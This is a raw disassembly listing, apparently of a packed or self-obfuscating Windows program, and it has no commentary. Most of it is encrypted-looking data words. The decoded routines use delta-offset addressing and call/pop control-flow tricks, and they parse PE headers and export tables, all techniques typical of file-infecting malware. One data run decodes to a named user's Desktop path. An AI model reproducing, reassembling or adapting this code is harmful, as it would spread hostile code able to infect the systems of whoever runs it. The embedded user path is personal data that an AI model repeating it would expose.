8CA817F8h dd 4DBBA9Ch, 93A66639h, 88A021C1h, 2A20EB54h, 3CCD3FFh dd 5225786Ch, 12511EEh, 0C27E3203h, 25799BDAh, 256193C4h dd 1250B64h, 0F305E983h, 6AC08BA4h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 23AC351h dd 6A9B5A64h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 4AA9C356h, 4AE1BB65h, 0F28177ADh dd 6D932089h, 0AB44C38Bh, 53302801h, 21C9BE91h, 5380BC19h dd 63FFB691h, 0AA24CCA5h, 17133CE1h, 0AFB12721h, 0FA3D4194h dd 12D2BEC7h, 0AA093197h, 826DB01Dh, 37CF306Dh, 0AFDAC610h dd 0F2CBE66Bh, 0B8FD8817h, 0DE24306Dh, 12416583h, 0AA093197h dd 826DB01Dh, 37CF306Dh, 0AFDAC5E7h, 0F2CBE66Bh, 31BBB4F2h dd 2A766519h, 0F049DA7Ah, 3F0AF51Fh, 0AF7D2509h, 0CC8DBEF2h dd 0AA4BED18h, 0AA93DDC2h, 0F4683594h, 0DEAD6B57h, 0EE9331B0h dd 0AA1C31B0h, 0FCC23594h, 2080BA57h, 0A5259D5Ch, 0AA930B10h dd 0F9485F94h, 0AA24367Ch, 69491594h, 8E55BCCFh, 8EC0B490h dd 0AA422190h, 69727694h, 0D705BCF8h, 294DCC86h, 532F7C29h dd 2E1D3591h, 0AA093598h, 9B01B0BDh, 0AEAB306Dh, 53213597h dd 0AAB7352Ah, 0F8485F96h, 0AA24367Ch, 69481594h, 8E5DBCCEh dd 8EC0B490h, 0AA422C90h, 69737794h, 0FAC14CFCh, 3779BD7Eh dd 0AFDD3C8Dh, 0B4A95368h, 0EC8CB8D4h, 4281C94Bh, 0AA42359Fh dd 0FE35A637h, 0F615540Ah, 0CAC102EEh, 3CE4B4F2h, 0CB73551Eh dd 1DD9CACEh, 0A544B08Ch, 0AA424810h, 0BC9A5394h, 0FDA8B48Eh dd 0A5B3B4F2h, 0AA240D11h, 0F9125F94h, 0AA09367Ch, 69DF1594h dd 8E1EBCCFh, 8E65B490h, 0AA902D90h, 691B7694h, 1BDF53FCh dd 838FBE4Bh, 0CC0CCC8Ch, 0A8804D15h, 19C63A96h, 23213596h dd 53813C29h, 92C95391h, 2F2B5508h, 0AA1235BEh, 2A7EC314h dd 0A56C37ECh, 0AA422811h, 639CBE94h, 0CC95CC93h, 0AA4E4D15h dd 0A1A13A3Fh, 21123594h, 531F3029h, 0A8FCDC91h, 0AAFC3594h dd 0C0673495h, 0A9786294h, 8A483594h, 237BF6CBh, 2B1611E8h dd 0B70D11D0h, 0ED843594h, 1A17F6C3h, 353329D1h, 53204CCDh dd 0B9B1B81Fh, 2A74306Dh, 274D244Ah, 56D67311h, 0AF09BE91h dd 5547CC8Ch, 0AA32DC44h, 72C43594h, 6AD31F2Fh, 903E4F95h dd 0F2E73D7Ah, 32186DD7h, 0A544B0A2h, 0AA43F310h, 0C2F8B494h dd 2B90050Ch, 0A87553ACh, 9CA13A96h, 0C0123594h, 0A9E16794h dd 8A843594h, 2318F6CEh, 2B2511C0h, 0B19411D0h, 0E8483594h dd 8A9AF6C6h, 7EE07CD8h, 0D288982Ah, 0F5B95392h, 79C63AEEh dd 0CC213595h, 21F3342Fh, 92C9534Ch, 2F2B5508h, 0AA1235F1h dd 425835FEh, 0AA843597h, 0F3816CB4h, 0AE05791Dh, 0AEB47115h dd 0AA483580h, 0F8E764D5h, 0AA12387Dh, 301BCC94h, 24F8A105h dd 0E74FA303h, 0D2A1565Fh, 2F9FDD96h, 0AA4835B9h, 2B42CD1Fh dd 6A1233ECh, 0AA16B09Bh, 0A5E43594h, 0AA42331Ch, 5FBCBC94h dd 2195CCB2h, 537C9C21h, 0C9CD5491h, 23123595h, 53294419h dd 0AB848B91h, 0AA284B95h, 0AA22DDC6h, 0F0B03594h, 0FEC16F57h dd 0EEA531B0h, 0AA0F31B0h, 0F84B3594h, 9B29B57h, 31DA6997h dd 0CC229D8Ah, 2FB9EB1Fh, 0AFB13C99h, 7562B019h, 41983068h dd 0BFECB01Dh, 7A7B306Dh, 0DDF853C3h, 6AA46F07h, 0AA2DB19Bh dd 0ADA03594h, 3B243594h, 0A4378B88h, 2706FE7Ch, 0AA843583h dd 0AA42277Dh, 11463294h, 665C16Fh, 7F93487Fh, 7E03DCC9h dd 0F53DFF09h, 0A5E10D14h, 0AA847B11h, 0FA425F94h, 0AA21367Ch dd 69C81594h, 8E0CBCCCh, 8E60B490h, 0AA122D90h, 69597594h dd 18267B12h, 2F4D6543h, 0AA213592h, 8E49881Fh, 2A11306Dh dd 0A55730ECh, 0AA122311h, 2A818394h, 0A5D732ECh, 0AA42A010h dd 3E758F94h, 2BF65B18h, 0CCF42B67h, 0AFAB0D15h, 0AA23B09Bh dd 2B693594h, 1D9DC7Fh, 7BC953ACh, 0AC59B5F5h, 0B6153AFCh dd 2A483594h, 2B422E46h, 8FED3EECh, 0AA04B09Bh, 1F0D3594h dd 0AFBB3C31h, 0AA21647Dh, 81F98094h, 0F8485F54h, 0AA24367Ch dd 69481594h, 8E5DBCCEh, 8EC0B490h, 0AA422290h, 69737794h dd 94E55CE9h, 81A1F415h, 80CD3AE4h, 0C0123594h, 0A9E16094h dd 8A843594h, 231FF6C9h, 2B2511F8h, 0B19411D0h, 0EF483594h dd 3C1CF6C1h, 0BC29A68Ch, 0ABB1E6EFh, 1D843594h, 0ACABA521h dd 70213594h, 6D08761h, 95F36590h, 3A5D7BC1h, 424035FEh dd 0AA093597h, 0F0476FB4h, 0AE66611Dh, 0AE057115h, 0AA903583h dd 3E8B67D6h, 23AA5D40h, 5308FC11h, 0A3B4B891h, 2781CB3Dh dd 54EFB919h, 0FF028D91h, 2F9342F2h, 0AFB12BBDh, 848BFABFh dd 284B95ABh, 22DDC6AAh, 0B03594AAh, 0C16F57F0h, 0A531B0FEh dd 0F31B0EEh, 5E983AAh, 5158A4F3h, 72DBD8Bh, 605A05F9h dd 33CDB529h, 0B58905F9h, 5F90B01h, 0FC00B61h, 5684h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0D850F2Bh, 0E9000000h, 8, 0F5763032h, 0CDA2CB06h, 4EE8B58Dh dd 666005F9h, 8AB6F18Bh, 3B861h, 81660000h, 0FF584AD3h dd 9E9E6h, 52720000h, 0F537B66Dh, 404CAA0Dh, 9018529h dd 0C08B05F9h, 17CD8D89h, 2AB905F9h, 836C83BBh, 0F931C9BDh dd 9750005h, 12B5BD83h, 740005F9h, 8B535019h, 403B8C0h dd 85890000h, 5F915DDh, 0F3EB9D8Dh, 0D3FF05FBh, 0BD83585Bh dd 5F912B5h, 50177400h, 403B853h, 85890000h, 5F915DDh dd 0F08C9D8Dh, 0D3FF05FBh, 6A585Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 241E3FC3h dd 8166B19Eh, 6AB1A1DAh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0E973C352h, 0A483ACEDh dd 5BFE15DCh, 0FE98DB7h, 0B2000000h, 0A76CC2FFh, 33EF33EEh dd 0AE6E069Eh, 0C08B5B1Dh, 7FDBD8Bh, 0E96105F9h, 1Eh, 363A713Fh dd 6 dup(0) dd 0AFE90000h, 7E000007h, 4F76AE63h, 597CA06Fh, 8570946Fh dd 5C7BA164h, 0CF659770h, 42C52552h, 7A913B9Ah, 51B823C2h dd 6AA34CABh, 0AC6710B2h, 2397D6D1h, 0CED7994Eh, 787D8831h dd 0B1644BA1h, 4E369613h, 69A449A8h, 304FC564h, 46B13FA5h dd 309C5BFBh, 0F9AA22D7h, 99B6B400h, 1E44EE0h, 0FDBC31DCh dd 73214417h, 6787AB9Dh, 7BA66788h, 872AB99h, 0AF3F90B7h dd 828D3136h, 0BA2AA257h, 5EC0F335h, 4EBEBF5Ch, 4E3B2996h dd 0D9AE3FA8h, 0CF3E9F8Dh, 0DD308D2Ah, 3BD801D8h, 29964E42h dd 22CC2BFh, 0FBDFF8E3h, 0E229930Ch, 0EBD2F527h, 2E90971Eh dd 6CB42ABh, 408BF9DBh, 63739968h, 4B1E8F76h, 5AB51986h dd 77708653h, 6D516ED3h, 0D87E2BA2h, 8C2F3D29h, 18FA878Dh dd 0D0EF68E5h, 95BF3A43h, 0FFCAB729h, 89F41FDAh, 62995BFh dd 0DE3BF519h, 0FF1CF7E1h, 2995BF7Eh, 0D2C30EFBh, 0D7F8F717h dd 6614BF36h, 0B2995BFh, 0EF08A6B4h, 0F61B3BCAh, 4D2F9B7Ah dd 0AB3Bh, 31CE0D00h, 9D6C4F8Ch, 66884118h, 59756687h dd 9F6A3FB6h, 85D2A52Eh, 0CC752996h, 17252D48h, 8A5F56B5h dd 28149222h, 43EBF706h, 56F811BCh, 2F2C3FB1h, 0CAF0074Dh dd 0B10D181Ch, 0B9704858h, 18995h, 8C5B0000h, 0B5507964h dd 2DA06940h, 0B069A64Ah, 6667A647h, 9F4AA3B3h, 5C51B218h dd 618A698Dh, 97C47DA4h, 299685E6h, 9239A663h, 9F0ED777h dd 0EB2BAA8h, 0F221D801h, 29968587h, 3DF71704h, 2BE8359Ah dd 29968552h, 0FCE223C8h, 5E64BFE2h, 0C9D5A1h, 2AE910C9h dd 2995D64Fh, 717FB2CCh, 7D1FA5FEh, 7698A2B4h, 26A7608Ch dd 0C7729D41h, 0F0A47345h, 0F618E42Eh, 37E40AEDh, 95C4611Ch dd 0E821DE29h, 0ED802E5h, 4A5FCC86h, 0E6E7222Fh, 8C528077h dd 0B3B9A580h, 20D90007h, 961F8AF3h, 0F41A0729h, 0DB329B3Ah dd 0DA359926h, 21EAD4D3h, 2234FDACh, 17FCDEC9h, 0CCB0AFB5h dd 47D455BAh, 29962636h, 63BF6B3h, 1546D1F9h, 29962664h dd 49ED24E1h, 0B83FF8A0h, 2EFBF213h, 8D000BB1h, 9FCB3ADCh dd 2F03C5A7h, 0C8E24Dh, 0C23D0000h, 0F813B918h, 49ED24F5h dd 0A7608CF3h, 5F259A72h, 0F5D72E9Bh, 79622C8Ch, 9950098Ch dd 5D8B6C75h, 0A4482FA6h, 65857263h, 226D2BA2h, 14E36A34h dd 1106E6C6h, 960C7702h, 0C207F429h, 0F80FBB1Ah, 8CCFCB41h dd 0DDCDD1A8h, 22C7B039h, 40F0AB1h, 2995AE79h, 9C009F6h dd 0CE35A384h, 0EFFE0C7h, 4831E287h, 0C52995AEh, 6D794CD8h dd 7260A7B1h, 2F8B2894h, 0BB239C4Dh, 66886154h, 7CBAh dd 31CE8C00h, 5D0C818Ch, 860677A4h, 86832996h, 0AE598170h dd 7C9D4027h, 96859EDFh, 5EA71429h, 5F1C8257h, 62886FAAh dd 0CE8D2CA1h, 299685ABh, 0A0B67B28h, 58868147h, 7A9F6854h dd 0DC8EE192h, 8195B1D9h, 31CE59B7h, 0B916818Ch, 66886154h dd 25A86787h, 9685D89Eh, 0A36C5429h, 31A64532h, 4647828Dh dd 0BD3FFF6h, 3AF4E2BDh, 0E4E91CBDh, 70EC2135h, 354D2F5Dh dd 1, 8D31CE0Fh, 0C32C0B82h, 806F7F4Ah, 0C970A95Ah, 74798E2Eh dd 85E396A5h, 809B2996h, 299685FDh, 3A198D7Ah, 0A7827390h dd 0B4577562h, 1DC66841h, 376A55Ch, 80299686h, 5B847383h dd 923C3BB2h, 4A737479h, 0EC27D2C3h, 29968591h, 3413110Eh dd 5DE27826h, 860677A4h, 86832996h, 0A9459170h, 63DE2F23h dd 52078E75h, 396CBF7Ah, 9BBB7691h, 6F956E5Ch, 99E46FCAh dd 1629964Ch, 7F769537h, 93CF5FAAh, 0DD24DD05h, 870EFBE2h dd 25093CD2h, 382F8F6Eh, 0C029964Bh, 0A960A713h, 6F964324h dd 0AE4B94BAh, 575EA911h, 607D6C82h, 618B74ADh, 0E07623AAh dd 0CB88B156h, 239D2AB2h, 2AD0A96Ah, 504D239Dh, 4E9DB16Eh dd 6A199C71h, 239D2B0Dh, 7B715DA8h, 5E89BB52h, 7F558C81h dd 1BF17416h, 11BA2511h, 62801F4h, 18F5DADDh, 633EBE1h dd 860706E7h, 372E01D3h, 198B54FAh, 0A34C202Eh, 57A0D97Ah dd 1B2B239Dh, 94F3945Ch, 0C30EFBEBh, 7D1CD021h, 0CFE848D6h dd 0BF9A1BEAh, 0F717F8D8h, 19D2Bh, 31CEFD00h, 410B828Dh dd 290E2275h, 628E1EAh, 6B96CC5Ah, 8EC6DAB0h, 4D403D2Fh dd 30A913ACh, 0A6737A8Bh, 9FAF6A6Bh, 6DAE6F50h, 239CAF0Ch dd 0AC559C89h, 0D363AA13h, 8F617E69h, 16E04707h, 60995012h dd 21947357h, 3A3DA648h, 65AA4695h, 0DCAB29ACh, 9A419E8Eh dd 3D6D734h, 457966B1h, 0F53CE744h, 0E32EC24Fh, 1EF648D6h dd 371AD6ABh, 87A3B379h, 4Eh, 8E815D5Ah, 76BC5207h, 0D70365FFh dd 1340F930h, 0A996854Ah, 0D8DF1A07h, 0C39617F8h, 7009BA33h dd 7BA99685h, 3C905E8Ch, 9A9FE3F2h, 0A0BC528Dh, 831E83Ah dd 4E3FCEEFh, 85D87B9Bh, 4229959Dh, 8C2DA613h, 0C379B079h dd 0D922h, 69FF5E00h, 3B4B0831h, 0E12F8F86h, 0C1DE76EBh dd 0E90D1693h, 0E7ED1411h, 78BBE65Ch, 66174428h, 0E3239CF8h dd 0A24BEB26h, 2FD53895h, 0EFE627C8h, 0C403C24Ah, 14996C4Dh dd 60B86F45h, 0A9CF8294h, 4A239D41h, 75571743h, 0C85FF5A4h dd 6392A418h, 578A37Ah, 82239CC9h, 0D8342F85h, 0EBA23173h dd 0DC4AFE26h, 7A645B86h, 41C62691h, 0BC799D4Ch, 9B51C59Fh dd 35977429h, 442FE154h, 0A738038h, 871D9E29h, 4EC11D9Ah dd 0A2579247h, 28C1BC57h, 0F3E1D9Eh, 81585DACh, 3A3DA648h dd 72757895h, 0DC2F8D4Ch, 0C4C900D9h, 9D10F7E3h, 56D6339Ah dd 0A7BB636Fh, 5BBE1D9Ah, 9E28BDC0h, 844D3A1Dh, 47B65811h dd 0C812841Bh, 0C348A611h, 0B550633h, 0BA239CD7h, 1BD62D9Bh dd 69FF47E9h, 85671241h, 37E42996h, 580C47F2h, 422F9534h dd 0D6215CF7h, 3BAC2397h, 46B47650h, 59BB685Eh, 0A06B23D0h dd 728AACE3h, 0EC9ECD98h, 579280BCh, 54B715A2h, 7D668861h dd 81B8557Ah, 12985A76h, 0B98A9FEFh, 4126A762h, 96B8719Ch dd 7994399Ch, 729137C0h, 268003DCh, 0C0575C80h, 0F7DEFEF9h dd 5CF237D6h, 44FDB19Dh, 0D2F36617h, 1026E3EFh, 0E811FCE1h dd 0F3770211h, 7F4EFD2h, 0E8EC4DE7h, 67D13048h, 0DE0D21CAh dd 0E0890C01h, 967B9BECh, 9EB0402Ah, 0BA7E6A4Fh, 0C5CC5308h dd 5B5C5198h, 0E199C73h, 0E65657ACh, 71BC30Fh, 193AFF3Ah dd 0EFD2C560h, 6A1320DDh, 0E7EFD2C5h, 0F9E5143Ah, 0B120CA35h dd 25C9000Bh, 40E429C6h, 0C1E1F5D7h, 0DC10161Ah, 0DE12BB3Ah dd 8DD7670h, 70A9600Bh, 92A46387h, 0A4C59h, 12AD0000h dd 7F5A5BA8h, 390FC96Fh, 29AC658Ch, 696CA13Eh, 23AA5F7Eh dd 7C719A44h, 35B84F7Bh, 787D8A32h, 3ABB4A6Fh, 75788B2Dh dd 0CCC14E72h, 2F4681Bh, 3C890000h, 5CFD6824h, 34890000h dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 0BE240C89h dd 561860D0h, 7B50BA52h, 0EA817635h, 1F5820FCh, 0EA81D2F7h dd 0F93C576Dh, 835AD601h, 248904ECh, 24048124h, 4, 4EC8359h dd 0BA241489h, 8, 3289CA01h, 2434FF5Ah, 4C48159h, 8B000000h dd 89512434h, 4C181E1h, 81000000h, 4C1h, 240C8700h, 0C858E95Ch dd 378DFFFAh, 7A2EA2F2h, 30B85F31h, 305FEB6h, 2EE0FFC5h dd 0EE0225EDh, 0F40282EDh, 3E5134B7h, 7E3227ABh, 782B784Dh dd 0E64968Bh, 851B86AFh, 33214026h, 4C77699Bh, 725792BEh dd 0CA0E82EFh, 2E25C385h, 12719C79h, 69040311h, 0BC424F46h dd 156A5268h dd 0DE772FF8h, 0EF6A6186h, 8D0882FCh, 0FEB7EA8Dh, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 6D9D89C5h, 8905F92Bh, 0F90CDD8Dh, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 3CA99A7h, 14B261F5h dd 31CDBD8Bh, 85C705F9h, 5F926C1h, 6AF8h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 17h, 0D8C35747h, 0FE8F518h dd 38Dh, 70F68000h, 15ED958Bh, 85C705F9h, 5F900FDh, 0 ; --------------------------------------------------------------------------- push esi xor esi, [ebp+5F90759h] pop esi push dword ptr [ebp+5F903D1h] mov ah, cl call dword ptr [ebp+5F920D5h] push 0 push ecx call sub_5C6DB9 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6DB9 proc near ; CODE XREF: .XComp0:005C6DB1p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_5C6DB9 endp ; --------------------------------------------------------------------------- sub [ecx-5553CB29h], al inc esi push 0 call dword ptr [ebp+5F91AEDh] mov eax, eax jmp short loc_5C6E34 ; --------------------------------------------------------------------------- dd 5E511F31h, 0FB3A89BDh, 66957DD5h, 54E5C24Eh, 6FA76389h dd 0E155AE56h, 8EE0B65Ch, 0E927E473h, 5F07B549h, 0D7782D4Fh dd 29C187F9h, 71207969h, 96E8136Dh, 81FDF7C8h, 84F197DFh dd 7EFFBE16h, 0EB56D24Fh, 0E895B7CFh, 2047F138h, 0D3DB537Fh dd 73F2EE04h, 0EA6D9EA8h ; --------------------------------------------------------------------------- loc_5C6E34: ; CODE XREF: .XComp0:005C6DDAj jmp loc_5C6EE9 ; --------------------------------------------------------------------------- pusha mov dx, ds test dl, 4 jnz loc_5C6E52 cmp eax, [ebp+5F92719h] jz loc_5C6E88 loc_5C6E52: ; CODE XREF: .XComp0:005C6E40j cmp eax, [ebp+5F92109h] jz loc_5C6E88 cmp eax, [ebp+5F90FC5h] jz loc_5C6E88 cmp eax, [ebp+5F909A1h] jz loc_5C6E88 cmp dword ptr [ebp+5F92941h], 1 jz loc_5C6E88 jmp loc_5C6EE7 ; --------------------------------------------------------------------------- loc_5C6E88: ; CODE XREF: .XComp0:005C6E4Cj ; .XComp0:005C6E58j ... mov edx, eax add edx, [edx+3Ch] mov edi, [edx+88h] mov ecx, [edx+78h] test ecx, ecx jz loc_5C6EE7 add edx, 0F8h mov esi, [edx+0Ch] add ecx, eax mov ebx, [ecx+1Ch] mov edx, [ecx+14h] add ebx, eax loc_5C6EB1: ; CODE XREF: .XComp0:005C6ECFj mov ecx, [ebx] test ecx, ecx jz loc_5C6ECB cmp ecx, esi jb loc_5C6EDA cmp ecx, edi jnb loc_5C6EDA loc_5C6ECB: ; CODE XREF: .XComp0:005C6EB5j add ebx, 4 dec edx jnz loc_5C6EB1 jmp loc_5C6EE7 ; --------------------------------------------------------------------------- loc_5C6EDA: ; CODE XREF: .XComp0:005C6EBDj ; .XComp0:005C6EC5j lea ebx, [ebp+5F94EE8h] mov eax, 5 jmp ebx ; --------------------------------------------------------------------------- loc_5C6EE7: ; CODE XREF: .XComp0:005C6E83j ; .XComp0:005C6E98j ... popa retn ; --------------------------------------------------------------------------- loc_5C6EE9: ; CODE XREF: .XComp0:loc_5C6E34j or edx, eax lea ecx, [ebp+5FEB9D5h] push 0 push ebx call sub_5C6EFC and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C6EFC proc near ; CODE XREF: .XComp0:005C6EF4p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5C6EFC endp ; --------------------------------------------------------------------------- dd 0CA335B62h, 922ECE5h, 0BA665187h, 9D29528Ah, 5F90625h dd 0CDD8D89h, 0BA6605F9h, 85C7EE84h, 5F926C1h, 6ED8h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 2CC35141h, 44FE144Dh dd 958B33C2h, 5F914D1h, 0FD85C7h, 5F9h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0FA35ECC3h, 2409B5FFh, 9D8B05F9h, 5F924D1h, 20D595FFh dd 6A05F9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 7AB3FDC3h, 660D38C4h, 6A6374B8h, 0ED95FF00h dd 8B05F91Ah, 0D37CEBC0h, 6135DDDEh, 6FA28D72h, 83C1A11Bh dd 0B123BAEBh, 0EFA66F77h, 3737B8CCh, 5CAC783Ch, 0FBD09F93h dd 68A0988Bh, 4ED00CCAh, 894FFB04h, 4472EE84h, 1EC72C6h dd 0FD8765EEh, 1B8D3591h, 0B0F8CE8Fh, 4B12306Eh, 5CBE75E9h dd 0D8643805h, 52AB022Bh, 17F20A8Ch, 66A7F4DDh, 1ECD27C8h dd 928AFFAAh, 0EF6BEC7Ch, 9AFEF23Bh, 0FCD08AB5h, 0FA2CAF95h dd 29D68356h, 67BFBE0h, 0E9EEDD61h, 9Ah, 4952BB41h, 445C3A43h dd 6D75636Fh, 73746E65h, 646E6120h, 74655320h, 676E6974h dd 614D5C73h, 6D697472h, 72614320h, 656E6F62h, 7365445Ch dd 706F746Bh, 6169445Ch, 2E676F6Ch, 657865h, 16h dup(0) dd 0F9E90000h, 68000015h, 5FEBD3Ah, 0FBC928E9h, 0BEA168FFh dd 1EE905FEh, 68FFFBC9h, 5FEC164h, 0FBC914E9h, 0C1A368FFh dd 0AE905FEh, 68FFFBC9h, 5FEC2B1h, 0FBC900E9h, 0C3A768FFh dd 0F6E905FEh, 68FFFBC8h, 5FEC914h, 0FBC8ECE9h, 0CD8F68FFh dd 0E2E905FEh, 68FFFBC8h, 5FECF21h, 0FBC8D8E9h, 0D827D2FFh dd 1FD6FE43h, 0D61FD51Ch, 1CDBFC41h, 0D528D21Fh, 7D0EC942h dd 509D9A5Bh, 7BC255A4h, 539A9D54h, 49C4579Eh, 0B9F08CE5h dd 0BB6C9F21h, 2C53BACBh, 9497BAADh, 0ECDD18BDh, 2600E437h dd 0BC1406F1h, 0DF028913h, 793E359Ah, 0AD46AE10h, 9ADF0213h dd 3E03D8CBh, 81D95E99h, 0C58E3B60h, 0FE1A9882h, 0AD58EFFh dd 0C4033ACDh, 0B04015F2h, 0DE80EE0h, 0C7FCC79Ch, 0ACDEFF57h dd 85F38671h, 0E8BDA05Bh, 569CA0D3h, 0DCB329Bh, 2D9F26D3h dd 0AE43199Eh, 2E30EB0Ah, 827B0DE5h, 679640C5h, 5D6B94h dd 0E0810000h, 91D64861h, 391A9362h, 5E339C7Eh, 0C49CA010h dd 0FF186DCDh, 6BD2BB00h, 9F2610EDh, 8607EE26h, 6E5F963Bh dd 0BF3ED8B5h, 0A45183CEh, 0F122B554h, 5D330883h, 0B99C677Ch dd 7348BB06h, 7BC6427Bh, 21BA2282h, 9F262A87h, 0C6ED443Fh dd 12E5BE2Fh, 12AE9h, 0D2048900h, 26ECD823h, 431406F1h dd 4967E857h, 7F6241ACh, 0D172169Eh, 0AF593F28h, 0CEBFFCC7h dd 0FDF41B70h, 0B44173BAh, 0AE2BC839h, 8BF8A30Ah, 4A6EC3D2h dd 0F97578ABh, 0F1253E74h, 15CEBF04h, 6C30CC25h, 0F5AC9ADFh dd 3FB65B22h, 62FA62BCh, 0DF6C6FF9h, 411CD79Ah, 9ADF6CA7h dd 0F8F100B4h, 0F5C2C11Bh, 0DF704514h, 9463909Ah, 0C89D3A87h dd 2B13D02Fh, 0C46A6E5Ah, 0D9D3434Dh, 0D97E6701h, 772457Bh dd 72F7BD74h, 593AB342h, 0DF166400h, 0BE03E09Ah, 4F6842CEh dd 66D80BD8h, 0A0D6580Dh, 0D04B469Ch, 0FD196Eh, 0F198B88Dh dd 9DC2A17Ah, 0AB829562h, 3D47B08Ah, 0A9995A58h, 0A3E890EAh dd 0ED34876Eh, 628C0CCBh, 63E59D86h, 0AC15DA2Bh, 7DAE546h dd 0D8CD0345h, 9E996695h, 8558A54Fh, 0ADB8C48Bh, 0ABF6568h dd 0EC000013h, 0E02D2AC9h, 0E736C130h, 0E22F2CC9h, 0EC31C639h dd 0AF302BCAh, 48B55FF4h, 0AB4A6EB3h, 43B261B0h, 0A94C69B8h dd 2AD32BAEh, 9F21BF9Eh, 26635146h, 0A7F601F4h, 0FE93EB0Ah dd 0F4AF1ADDh, 0E0402427h, 5D64861h, 956BE6A7h, 0B85AABAEh dd 47F5A3Ch, 0BA22FCBFh, 692FA9A9h, 68D2BF7Ch, 0DF1A750Fh dd 0E532F19Ah, 0A0080F84h, 76DF779Ch, 9F2608EAh, 9EC0D52h dd 0BB00C3A0h, 916090E1h, 5883B18h, 260820A8h, 3ABB599Fh dd 25D8024Fh, 75A2EFA4h, 8E874DDh, 9D549F26h, 688E6762h dd 0A0789A9Bh, 9A1DD4B8h, 0BB800B69h, 7BA88CC5h, 10F1D82h dd 0C81D0000h, 5281D02Fh, 0AE692AA3h, 74F12642h, 5F34B53Ch dd 3ED829A4h, 227C11Ah, 0B8219ADFh, 9ADF022Ch, 72FFD998h dd 0B76CB746h, 8233B836h, 5E997A73h, 0DF1EACFBh, 0EB0AA79Ah dd 6FF42170h, 0DA660F41h, 829ADF06h, 0D559548Fh, 0DF06E07Ch dd 5AA55C9Ah, 9A9724A5h, 0B2379F7Fh, 4528F302h, 9CA03F90h dd 0A608130Eh, 89F0A9D5h, 0E6996499h, 0A07D6857h, 0BE498E58h dd 5BF4667Fh, 995A8A70h, 730B732Eh, 92FBFA1Eh, 0ADC68D1h dd 89889ADDh, 7384EC4Eh, 81155DEDh, 35FCBFDDh, 0C736E083h dd 8B2FFFCh, 4944B163h, 9284558Ah, 73ADB977h, 11A3AA7Ah dd 52850000h, 0A94998A3h, 5482CF4Ch, 0AE4796A1h, 5385CC4Fh dd 591695A2h, 4ACD30CAh, 1522CF03h, 4DCA29C8h, 1724D300h dd 59F3896h, 0C19F21BCh, 0F426CCC8h, 18C11901h, 9ADF028Ch dd 797E3938h, 32264021h, 5A90E6FCh, 0D423D09Dh, 6FF4256Ah dd 946DB23Fh, 9F67B0B9h, 0B1368136h, 5D7E13CFh, 0E3105D9Ah dd 8B289914h, 2922EC7h, 83539ADFh, 0B7FAFF3h, 0F72CE7D1h dd 0A720A64h, 0DF67D771h, 0A9948F9Ah, 9ADF671Fh, 0FC0FCCC7h dd 0A13A2445h, 9CA05EFCh, 0FF7E6F22h, 9F264E59h, 70A0E559h dd 17140B63h, 5AA548ABh, 1FF5C29Dh, 84C92CCAh, 6A29A453h dd 0F964ADADh, 0BF44827Ah, 6A8EE312h, 7641228Bh, 1945h dd 74A0E500h, 0F033C2F3h, 0E3C9C92Bh, 0B500000Bh, 33E08130h dd 0D50AC9C4h, 61E09E02h, 7DA0832Ah, 662B60F5h, 8C4742B5h dd 0FD8EE757h, 0E59CA004h, 75C18B14h, 666B69C7h, 0E3A29A90h dd 3296619Eh, 3FA7419Ah, 0D21F9F26h, 0D609D629h, 0DF165BD3h dd 0E3BE9518h, 0D01E6C12h, 0F63B80B9h, 0BF4436C1h, 9CE5E815h dd 77447F76h, 4F882D74h, 61FA8E91h, 9F26F6C7h, 0AC21847Fh dd 5C4D928Ch, 0E2152DE1h, 0AE516A36h, 0D225D63Bh, 0C592F1D7h dd 42157494h, 0D16B046Ch, 8DF86215h, 0DF1EB796h, 0C3A0551Ch dd 9BE6E70Eh, 52117C79h, 0A3E8528Dh, 5003866Bh, 0D92E908Bh dd 36FBC03Dh, 0C433E481h, 0D4D50AC9h, 17DE155Ah, 1FFABD96h dd 0F8621586h, 0D9D421D1h, 3CAD4C68h, 158F19C2h, 3C37F862h dd 0C9FABDACh, 0A063F853h, 17778473h, 158A16BFh, 29C7F862h dd 9602E1CCh, 926596DBh, 0B27F3C17h, 76F7F205h, 0F86215D5h dd 8730B53Dh, 599E7578h, 496E3106h, 4B6CF51Ch, 9D6241ACh dd 0D2AC772Ch, 0EA37D12Ah, 0F4AF079Dh, 38DD2427h, 0EA25BF18h dd 50A1079Dh, 548F54A3h, 4C8BA259h, 7D9EE020h, 0B688277Ah dd 590159A6h, 159D1B88h, 39C4A65Ch, 6FCE5D6h, 9C7D3AE6h dd 1E276F3h, 70087231h, 646E7D07h, 0ED2AE902h, 6F619D6Ah dd 2FC7B7D2h, 646E3AC6h, 2CEFA202h, 4684A952h, 14BC041Bh dd 9D7621BBh, 11E69D07h, 0FA62BCB7h, 9D76C761h, 37847F07h dd 175AF558h, 9A97D98Ah, 0AA4A9F7Fh, 73DC624Bh, 0D98D96E9h dd 96619E55h, 8CC21BB4h, 8180DFF2h, 0C59E5499h, 2CE7E213h dd 6A8BF6F7h, 7E41228Bh, 9CA9339Ch, 5E15DC74h, 0A69B3099h dd 0AA429B83h, 2ADA77C1h, 0FAC530E5h, 0CF26CB20h, 0D26E076Fh dd 8AD98859h, 243B2E97h, 0C9E42F5h, 0D0054CCFh, 7868D425h dd 9C4D6A64h, 0EE0D8h, 